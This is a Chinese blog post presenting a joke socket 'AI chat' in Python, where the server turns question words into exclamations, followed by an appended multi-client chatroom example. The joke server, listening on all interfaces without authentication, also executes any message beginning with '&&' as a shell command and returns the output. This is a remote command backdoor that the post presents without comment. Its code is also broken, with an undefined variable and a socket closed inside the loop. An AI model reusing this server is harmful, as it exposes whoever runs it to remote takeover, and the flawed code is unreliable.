python基于socket实现Ai对话(不是)

价值几个亿的AI代码哈哈哈

Server:

import os
import socket

sock = socket.socket()
sock.bind(('0.0.0.0', 9999))
sock.listen()
chanel,client=sock.accept()
while True:
    msg = chanel.recv(1024).decode()
    if(msg.startswith('&&')):
        cmd=msg.split('&&')[-1]
        result = os.popen(cmd).read()
        print(result)
        chanel.send(result.encode('GBK'))
        sock.close()
    else:
        data = msg.replace('吗','!')
        data = data.replace('?','!')
        data = data.replace('?','!')
        print(data)
    chanel.send(data.encode('GBK'))
    sock.close()

client:

import socket

sock=socket.socket()
sock.connect(('127.0.0.1', 9999))
while True:
    msg = input()
    sock.send(msg.encode())
    res=sock.recv(1024).decode('GBK')
    print(res)

server会话

 client会话

 

以下是一个基于Python socket实现的简单聊天室示例代码: server.py: ```python import socket import threading # 客户端列表 clients = [] def broadcast(msg): # 向所有客户端广播消息 for client in clients: client.send(msg) def handle_client(client): try: while True: # 接收客户端消息 msg = client.recv(1024) if not msg: break # 广播消息 broadcast(msg) except: # 客户端异常断开连接 clients.remove(client) client.close() def start_server(): # 创建socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定IP和端口 server_socket.bind(('127.0.0.1', 8888)) # 开始监听 server_socket.listen(5) print('server start...') while True: # 接受客户端连接 client_socket, client_address = server_socket.accept() print(f'{client_address} connected.') # 添加客户端 clients.append(client_socket) # 处理客户端消息 threading.Thread(target=handle_client, args=(client_socket,)).start() if __name__ == '__main__': start_server() ``` client.py: ```python import socket import threading def receive(sock): while True: # 接收服务器消息 msg = sock.recv(1024).decode('utf-8') print(msg) def send(sock): while True: # 发送消息到服务器 msg = input() sock.send(msg.encode('utf-8')) def start_client(): # 创建socket client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 client_socket.connect(('127.0.0.1', 8888)) # 接收欢迎消息 print(client_socket.recv(1024).decode('utf-8')) # 启动接收消息线程 threading.Thread(target=receive, args=(client_socket,)).start() # 启动发送消息线程 threading.Thread(target=send, args=(client_socket,)).start() if __name__ == '__main__': start_client() ``` 使用方法: 1.运行server.py启动服务器; 2.运行多个client.py启动客户端; 3.客户端可以输入任意消息,所有客户端都会收到该消息。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值